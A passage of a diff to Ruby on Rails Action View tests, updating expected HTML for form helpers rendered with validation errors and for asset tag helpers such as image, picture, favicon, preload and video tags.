+    @post.errors.add(:category, "must exist")
+    @post.errors.add(:published, "must be accepted")
+    @post.errors.add(:updated_at, "bar")
 
     @post.author_name = ""
     @post.body        = "Back to the hill and over it again!"
+    @post.category    = "rails"
+    @post.published   = false
     @post.updated_at  = Date.new(2004, 6, 15)
   end
 
-  def test_text_area_with_errors
+  def test_textarea_with_errors
     assert_dom_equal(
       %(<div class="field_with_errors"><textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea></div>),
-      text_area("post", "body")
+      textarea("post", "body")
     )
   end
 
@@ -54,30 +60,98 @@ def test_select_with_errors_and_blank_option
     assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], prompt: "Choose one..."))
   end
 
+  def test_select_grouped_options_with_errors
+    grouped_options = [
+      ["A", [["A1"], ["A2"]]],
+      ["B", [["B1"], ["B2"]]],
+    ]
+
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select name="post[category]" id="post_category"><optgroup label="A"><option value="A1">A1</option>\n<option value="A2">A2</option></optgroup><optgroup label="B"><option value="B1">B1</option>\n<option value="B2">B2</option></optgroup></select></div>),
+      select("post", "category", grouped_options)
+    )
+  end
+
+  def test_collection_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="a">a</option>\n<option value="b">b</option></select></div>),
+      collection_select("post", "author_name", [:a, :b], :to_s, :to_s)
+    )
+  end
+
   def test_date_select_with_errors
     assert_dom_equal(
-      %(<div class="field_with_errors"><select id="post_updated_at_1i" name="post[updated_at(1i)]">\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n</select>\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n</div>),
+      %(<div class="field_with_errors"><select id="post_updated_at_1i" name="post[updated_at(1i)]">\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n</select>\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" autocomplete="off" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" autocomplete="off" />\n</div>),
       date_select("post", "updated_at", discard_month: true, discard_day: true, start_year: 2004, end_year: 2005)
     )
   end
 
   def test_datetime_select_with_errors
     assert_dom_equal(
-      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" autocomplete="off" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" autocomplete="off" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" autocomplete="off" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
       datetime_select("post", "updated_at", discard_year: true, discard_month: true, discard_day: true, minute_step: 60)
     )
   end
 
   def test_time_select_with_errors
     assert_dom_equal(
-      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="15" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" autocomplete="off" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" autocomplete="off" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="15" autocomplete="off" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
       time_select("post", "updated_at", minute_step: 60)
     )
   end
 
+  def test_label_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><label for="post_body">Body</label></div>),
+      label("post", "body")
+    )
+  end
+
+  def test_checkbox_with_errors
+    assert_dom_equal(
+      %(<input name="post[published]" type="hidden" value="0" autocomplete="off" /><div class="field_with_errors"><input type="checkbox" value="1" name="post[published]" id="post_published" /></div>),
+      checkbox("post", "published")
+    )
+  end
+
+  def test_checkboxes_with_errors
+    assert_dom_equal(
+      %(<input name="post[published]" type="hidden" value="0" autocomplete="off" /><div class="field_with_errors"><input type="checkbox" value="1" name="post[published]" id="post_published" /></div><input name="post[published]" type="hidden" value="0" autocomplete="off" /><div class="field_with_errors"><input type="checkbox" value="1" name="post[published]" id="post_published" /></div>),
+      checkbox("post", "published") + checkbox("post", "published")
+    )
+  end
+
+  def test_radio_button_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input type="radio" value="rails" checked="checked" name="post[category]" id="post_category_rails" /></div>),
+      radio_button("post", "category", "rails")
+    )
+  end
+
+  def test_radio_buttons_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input type="radio" value="rails" checked="checked" name="post[category]" id="post_category_rails" /></div><div class="field_with_errors"><input type="radio" value="java" name="post[category]" id="post_category_java" /></div>),
+      radio_button("post", "category", "rails") + radio_button("post", "category", "java")
+    )
+  end
+
+  def test_collection_checkboxes_with_errors
+    assert_dom_equal(
+      %(<input type="hidden" name="post[category][]" value="" autocomplete="off" /><div class="field_with_errors"><input type="checkbox" value="ruby" name="post[category][]" id="post_category_ruby" /></div><label for="post_category_ruby">ruby</label><div class="field_with_errors"><input type="checkbox" value="java" name="post[category][]" id="post_category_java" /></div><label for="post_category_java">java</label>),
+      collection_checkboxes("post", "category", [:ruby, :java], :to_s, :to_s)
+    )
+  end
+
+  def test_collection_radio_buttons_with_errors
+    assert_dom_equal(
+      %(<input type="hidden" name="post[category]" value="" autocomplete="off" /><div class="field_with_errors"><input type="radio" value="ruby" name="post[category]" id="post_category_ruby" /></div><label for="post_category_ruby">ruby</label><div class="field_with_errors"><input type="radio" value="java" name="post[category]" id="post_category_java" /></div><label for="post_category_java">java</label>),
+      collection_radio_buttons("post", "category", [:ruby, :java], :to_s, :to_s)
+    )
+  end
+
   def test_hidden_field_does_not_render_errors
     assert_dom_equal(
-      %(<input id="post_author_name" name="post[author_name]" type="hidden" value="" />),
+      %(<input id="post_author_name" name="post[author_name]" type="hidden" value="" autocomplete="off" />),
       hidden_field("post", "author_name")
     )
   end
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
index 07a6452cc1d20..848d564aba6c9 100644
--- a/actionview/test/template/asset_tag_helper_test.rb
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -1,31 +1,83 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/ordered_options"
 
+require "action_dispatch"
+ActionView::Template.mime_types_implementation = Mime
+
+module AssetTagHelperTestHelpers
+  def with_preload_links_header(new_preload_links_header = true)
+    original_preload_links_header = ActionView::Helpers::AssetTagHelper.preload_links_header
+    ActionView::Helpers::AssetTagHelper.preload_links_header = new_preload_links_header
+
+    yield
+  ensure
+    ActionView::Helpers::AssetTagHelper.preload_links_header = original_preload_links_header
+  end
+
+  def with_auto_include_nonce_for_scripts(new_auto_include_nonce_for_scripts = true)
+    original_auto_include_nonce_for_scripts = ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_scripts
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_scripts = new_auto_include_nonce_for_scripts
+
+    yield
+  ensure
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_scripts = original_auto_include_nonce_for_scripts
+  end
+
+  def with_auto_include_nonce_for_styles(new_auto_include_nonce_for_styles = true)
+    original_auto_include_nonce_for_styles = ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles = new_auto_include_nonce_for_styles
+
+    yield
+  ensure
+    ActionView::Helpers::AssetTagHelper.auto_include_nonce_for_styles = original_auto_include_nonce_for_styles
+  end
+end
+
 class AssetTagHelperTest < ActionView::TestCase
   tests ActionView::Helpers::AssetTagHelper
 
-  attr_reader :request
+  include AssetTagHelperTestHelpers
+
+  attr_reader :request, :response
+
+  class FakeRequest
+    attr_accessor :script_name, :content_security_policy_nonce_directives
+    def protocol() "http://" end
+    def ssl?() false end
+    def host_with_port() "localhost" end
+    def base_url() "http://www.example.com" end
+    def send_early_hints(links) end
+  end
+
+  class FakeResponse
+    def headers
+      @headers ||= {}
+    end
+    def sending?; false; end
+  end
 
   def setup
     super
 
     @controller = BasicController.new
 
-    @request = Class.new do
-      attr_accessor :script_name
-      def protocol() "http://" end
-      def ssl?() false end
-      def host_with_port() "localhost" end
-      def base_url() "http://www.example.com" end
-    end.new
-
+    @request = FakeRequest.new
     @controller.request = @request
+
+    @response = FakeResponse.new
+    @controller.response = @response
   end
 
   def url_for(*args)
     "http://www.example.com"
   end
 
+  def content_security_policy_nonce
+    "iyhD0Yc0W+c="
+  end
+
   AssetPathToTag = {
     %(asset_path(""))             => %(),
     %(asset_path("   "))          => %(),
@@ -53,6 +105,7 @@ def url_for(*args)
     %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
     %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
     %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+    %(auto_discovery_link_tag(:json)) => %(<link href="http://www.example.com" rel="alternate" title="JSON" type="application/json" />),
     %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
     %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
     %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
@@ -139,16 +192,16 @@ def url_for(*args)
   }
 
   StyleLinkToTag = {
-    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" rel="stylesheet" />),
+    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" rel="stylesheet" />),
+    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" rel="stylesheet" />),
     %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
-    %(stylesheet_link_tag("bank", :host => "assets.example.com")) => %(<link href="http://assets.example.com/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank", :host => "assets.example.com")) => %(<link href="http://assets.example.com/stylesheets/bank.css" rel="stylesheet" />),
 
-    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
-    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" rel="stylesheet" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" rel="stylesheet" />),
+    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" rel="stylesheet" />),
   }
 
   ImagePathToTag = {
@@ -180,33 +233,127 @@ def url_for(*args)
   }
 
   ImageLinkToTag = {
-    %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
-    %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
-    %(image_tag("gold.png", :size => "20")) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
-    %(image_tag("gold.png", :size => 20)) => %(<img alt="Gold" height="20" src="/images/gold.png" width="20" />),
-    %(image_tag("gold.png", :size => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("gold.png", "size" => "45x70")) => %(<img alt="Gold" height="70" src="/images/gold.png" width="45" />),
-    %(image_tag("error.png", "size" => "45 x 70")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("error.png", "size" => "x")) => %(<img alt="Error" src="/images/error.png" />),
-    %(image_tag("google.com.png")) => %(<img alt="Google.com" src="/images/google.com.png" />),
-    %(image_tag("slash..png")) => %(<img alt="Slash." src="/images/slash..png" />),
-    %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
-    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("xml.png")) => %(<img src="/images/xml.png" />),
+    %(image_tag("rss.gif", :alt => "RSS syndication")) => %(<img alt="RSS syndication" src="/images/rss.gif" />),
+    %(image_tag("gold.png", :size => "20")) => %(<img height="20" src="/images/gold.png" width="20" />),
+    %(image_tag("gold.png", :size => 20)) => %(<img height="20" src="/images/gold.png" width="20" />),
+    %(image_tag("silver.png", :size => "90.9")) => %(<img height="90.9" src="/images/silver.png" width="90.9" />),
+    %(image_tag("silver.png", :size => 90.9)) => %(<img height="90.9" src="/images/silver.png" width="90.9" />),
+    %(image_tag("gold.png", :size => "45x70")) => %(<img height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("gold.png", "size" => "45x70")) => %(<img height="70" src="/images/gold.png" width="45" />),
+    %(image_tag("silver.png", :size => "67.12x74.09")) => %(<img height="74.09" src="/images/silver.png" width="67.12" />),
+    %(image_tag("silver.png", "size" => "67.12x74.09")) => %(<img height="74.09" src="/images/silver.png" width="67.12" />),
+    %(image_tag("bronze.png", :size => "10x15.7")) => %(<img height="15.7" src="/images/bronze.png" width="10" />),
+    %(image_tag("bronze.png", "size" => "10x15.7")) => %(<img height="15.7" src="/images/bronze.png" width="10" />),
+    %(image_tag("platinum.png", :size => "4.9x20")) => %(<img height="20" src="/images/platinum.png" width="4.9" />),
+    %(image_tag("platinum.png", "size" => "4.9x20")) => %(<img height="20" src="/images/platinum.png" width="4.9" />),
+    %(image_tag("error.png", "size" => "45 x 70")) => %(<img src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "1,024x768")) => %(<img src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "768x1,024")) => %(<img src="/images/error.png" />),
+    %(image_tag("error.png", "size" => "x")) => %(<img src="/images/error.png" />),
+    %(image_tag("google.com.png")) => %(<img src="/images/google.com.png" />),
+    %(image_tag("slash..png")) => %(<img src="/images/slash..png" />),
+    %(image_tag(".pdf.png")) => %(<img src="/images/.pdf.png" />),
+    %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img src="http://www.rubyonrails.com/images/rails.png" />),
+    %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img src="//www.rubyonrails.com/images/rails.png" />),
     %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
     %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
     %(image_tag("")) => %(<img src="" />),
-    %(image_tag("gold.png", data: { title: 'Rails Application' })) => %(<img data-title="Rails Application" src="/images/gold.png" alt="Gold" />)
+    %(image_tag("gold.png", data: { title: 'Rails Application' })) => %(<img data-title="Rails Application" src="/images/gold.png" />),
+    %(image_tag("rss.gif", srcset: "/assets/pic_640.jpg 640w, /assets/pic_1024.jpg 1024w")) => %(<img srcset="/assets/pic_640.jpg 640w, /assets/pic_1024.jpg 1024w" src="/images/rss.gif" />),
+    %(image_tag("rss.gif", srcset: { "pic_640.jpg" => "640w", "pic_1024.jpg" => "1024w" })) => %(<img srcset="/images/pic_640.jpg 640w, /images/pic_1024.jpg 1024w" src="/images/rss.gif" />),
+    %(image_tag("rss.gif", srcset: [["pic_640.jpg", "640w"], ["pic_1024.jpg", "1024w"]])) => %(<img srcset="/images/pic_640.jpg 640w, /images/pic_1024.jpg 1024w" src="/images/rss.gif" />)
+  }
+
+  PicturePathToTag = {
+    %(image_path("xml"))           => %(/images/xml),
+    %(image_path("xml.webp"))      => %(/images/xml.webp),
+    %(image_path("dir/xml.webp"))  => %(/images/dir/xml.webp),
+    %(image_path("/dir/xml.webp")) => %(/dir/xml.webp)
+  }
+
+  PathToPictureToTag = {
+    %(path_to_image("xml"))           => %(/images/xml),
+    %(path_to_image("xml.webp"))      => %(/images/xml.webp),
+    %(path_to_image("dir/xml.webp"))  => %(/images/dir/xml.webp),
+    %(path_to_image("/dir/xml.webp")) => %(/dir/xml.webp)
+  }
+
+  PictureUrlToTag = {
+    %(image_url("xml"))           => %(http://www.example.com/images/xml),
+    %(image_url("xml.webp"))      => %(http://www.example.com/images/xml.webp),
+    %(image_url("dir/xml.webp"))  => %(http://www.example.com/images/dir/xml.webp),
+    %(image_url("/dir/xml.webp")) => %(http://www.example.com/dir/xml.webp)
+  }
+
+  UrlToPictureToTag = {
+    %(url_to_image("xml"))           => %(http://www.example.com/images/xml),
+    %(url_to_image("xml.webp"))      => %(http://www.example.com/images/xml.webp),
+    %(url_to_image("dir/xml.webp"))  => %(http://www.example.com/images/dir/xml.webp),
+    %(url_to_image("/dir/xml.webp")) => %(http://www.example.com/dir/xml.webp)
+  }
+
+  PictureLinkToTag = {
+    %(picture_tag("picture.webp")) => %(<picture><img src="/images/picture.webp" /></picture>),
+    %(picture_tag("gold.png", :image => { :size => "20" })) => %(<picture><img height="20" src="/images/gold.png" width="20" /></picture>),
+    %(picture_tag("gold.png", :image => { :size => 20 })) => %(<picture><img height="20" src="/images/gold.png" width="20" /></picture>),
+    %(picture_tag("silver.png", :image => { :size => "90.9" })) => %(<picture><img height="90.9" src="/images/silver.png" width="90.9" /></picture>),
+    %(picture_tag("silver.png", :image => { :size => 90.9 })) => %(<picture><img height="90.9" src="/images/silver.png" width="90.9" /></picture>),
+    %(picture_tag("gold.png", :image => { :size => "45x70" })) => %(<picture><img height="70" src="/images/gold.png" width="45" /></picture>),
+    %(picture_tag("gold.png", :image => { "size" => "45x70" })) => %(<picture><img height="70" src="/images/gold.png" width="45" /></picture>),
+    %(picture_tag("silver.png", :image => { :size => "67.12x74.09" })) => %(<picture><img height="74.09" src="/images/silver.png" width="67.12" /></picture>),
+    %(picture_tag("silver.png", :image => { "size" => "67.12x74.09" })) => %(<picture><img height="74.09" src="/images/silver.png" width="67.12" /></picture>),
+    %(picture_tag("bronze.png", :image => { :size => "10x15.7" })) => %(<picture><img height="15.7" src="/images/bronze.png" width="10" /></picture>),
+    %(picture_tag("bronze.png", :image => { "size" => "10x15.7" })) => %(<picture><img height="15.7" src="/images/bronze.png" width="10" /></picture>),
+    %(picture_tag("platinum.png", :image => { :size => "4.9x20" })) => %(<picture><img height="20" src="/images/platinum.png" width="4.9" /></picture>),
+    %(picture_tag("platinum.png", :image => { "size" => "4.9x20" })) => %(<picture><img height="20" src="/images/platinum.png" width="4.9" /></picture>),
+    %(picture_tag("error.png", :image => { "size" => "45 x 70" })) => %(<picture><img src="/images/error.png" /></picture>),
+    %(picture_tag("error.png", :image => { "size" => "1,024x768" })) => %(<picture><img src="/images/error.png" /></picture>),
+    %(picture_tag("error.png", :image => { "size" => "768x1,024" })) => %(<picture><img src="/images/error.png" /></picture>),
+    %(picture_tag("error.png", :image => { "size" => "x" })) => %(<picture><img src="/images/error.png" /></picture>),
+    %(picture_tag("google.com.png")) => %(<picture><img src="/images/google.com.png" /></picture>),
+    %(picture_tag("slash..png")) => %(<picture><img src="/images/slash..png" /></picture>),
+    %(picture_tag(".pdf.png")) => %(<picture><img src="/images/.pdf.png" /></picture>),
+    %(picture_tag("http://www.rubyonrails.com/images/rails.png")) => %(<picture><img src="http://www.rubyonrails.com/images/rails.png" /></picture>),
+    %(picture_tag("//www.rubyonrails.com/images/rails.png")) => %(<picture><img src="//www.rubyonrails.com/images/rails.png" /></picture>),
+    %(picture_tag("mouse.png", :image => { :alt => nil })) => %(<picture><img src="/images/mouse.png" /></picture>),
+    %(picture_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :image => { :alt => nil })) => %(<picture><img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" /></picture>),
+    %(picture_tag("")) => %(<picture><img src="" /></picture>),
+    %(picture_tag("picture.webp", "picture.png")) => %(<picture><source srcset="/images/picture.webp" type="image/webp" /><source srcset="/images/picture.png" type="image/png" /><img src="/images/picture.png" /></picture>),
+    %(picture_tag("picture.webp", "picture.png", :class => "my-class")) => %(<picture class="my-class"><source srcset="/images/picture.webp" type="image/webp" /><source srcset="/images/picture.png" type="image/png" /><img src="/images/picture.png" /></picture>),
+    %(picture_tag("picture.webp", "picture.png", :image => { alt: "Image" })) => %(<picture><source srcset="/images/picture.webp" type="image/webp" /><source srcset="/images/picture.png" type="image/png" /><img alt="Image" src="/images/picture.png" /></picture>),
+    %(picture_tag(["picture.webp", "picture.png"], :image => { alt: "Image" })) => %(<picture><source srcset="/images/picture.webp" type="image/webp" /><source srcset="/images/picture.png" type="image/png" /><img alt="Image" src="/images/picture.png" /></picture>),
+    %(picture_tag(:class => "my-class") { tag(:source, :srcset => image_path("picture.webp")) + image_tag("picture.png", :alt => "Image") }) => %(<picture class="my-class"><source srcset="/images/picture.webp" /><img alt="Image" src="/images/picture.png" /></picture>),
+    %(picture_tag { tag(:source, :srcset => image_path("picture-small.webp"), :media => "(min-width: 600px)") + tag(:source, :srcset => image_path("picture-big.webp")) + image_tag("picture.png", :alt => "Image") }) => %(<picture><source srcset="/images/picture-small.webp" media="(min-width: 600px)" /><source srcset="/images/picture-big.webp" /><img alt="Image" src="/images/picture.png" /></picture>),
   }
 
   FaviconLinkToTag = {
-    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
-    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/x-icon" />),
+    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="icon" type="image/x-icon" />),
+    %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="icon" type="image/x-icon" />),
     %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/x-icon" />),
     %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
     %(favicon_link_tag 'mb-icon.png', :rel => 'apple-touch-icon', :type => 'image/png') => %(<link href="/images/mb-icon.png" rel="apple-touch-icon" type="image/png" />)
   }
 
+  PreloadLinkToTag = {
+    %(preload_link_tag '/application.js', type: 'module') => %(<link rel="modulepreload" href="/application.js" as="script" type="module" >),
+    %(preload_link_tag '/application.js', type: :module) => %(<link rel="modulepreload" href="/application.js" as="script" type="module" >),
+    %(preload_link_tag '/styles/custom_theme.css') => %(<link rel="preload" href="/styles/custom_theme.css" as="style" type="text/css" />),
+    %(preload_link_tag '/videos/video.webm') => %(<link rel="preload" href="/videos/video.webm" as="video" type="video/webm" />),
+    %(preload_link_tag '/posts.json', as: 'fetch') => %(<link rel="preload" href="/posts.json" as="fetch" type="application/json" />),
+    %(preload_link_tag '/users', as: 'fetch', type: 'application/json') => %(<link rel="preload" href="/users" as="fetch" type="application/json" />),
+    %(preload_link_tag '//example.com/map?callback=initMap', as: 'fetch', type: 'application/javascript') => %(<link rel="preload" href="//example.com/map?callback=initMap" as="fetch" type="application/javascript" />),
+    %(preload_link_tag '//example.com/font.woff2') => %(<link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="anonymous"/>),
+    %(preload_link_tag '//example.com/font.woff2', crossorigin: 'use-credentials') => %(<link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="use-credentials" />),
+    %(preload_link_tag '/media/audio.ogg', nopush: true) => %(<link rel="preload" href="/media/audio.ogg" as="audio" type="audio/ogg" />),
+    %(preload_link_tag '/style.css', integrity: 'sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs') => %(<link rel="preload" href="/style.css" as="style" type="text/css" integrity="sha256-AbpHGcgLb+kRsJGnwFEktk7uzpZOCcBY74+YBdrKVGs">),
+    %(preload_link_tag '/sprite.svg') => %(<link rel="preload" href="/sprite.svg" as="image" type="image/svg+xml">),
+    %(preload_link_tag '/mb-icon.png') => %(<link rel="preload" href="/mb-icon.png" as="image" type="image/png">),
+    %(preload_link_tag '/hero-image.jpg', fetchpriority: 'high') => %(<link rel="preload" href="/hero-image.jpg" as="image" type="image/jpeg" fetchpriority="high">),
+    %(preload_link_tag '/critical.css', fetchpriority: 'high') => %(<link rel="preload" href="/critical.css" as="style" type="text/css" fetchpriority="high">),
+    %(preload_link_tag '/background.png', fetchpriority: 'low') => %(<link rel="preload" href="/background.png" as="image" type="image/png" fetchpriority="low">)
+  }
+
   VideoPathToTag = {
     %(video_path("xml"))          => %(/videos/xml),
     %(video_path("xml.ogg"))      => %(/videos/xml.ogg),
@@ -241,10 +388,18 @@ def url_for(*args)
     %(video_tag("rss.m4v", :preload => 'none')) => %(<video preload="none" src="/videos/rss.m4v"></video>),
     %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
     %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+    %(video_tag("silver.m4v", :size => "100.3x200.6")) => %(<video height="200.6" src="/videos/silver.m4v" width="100.3"></video>),
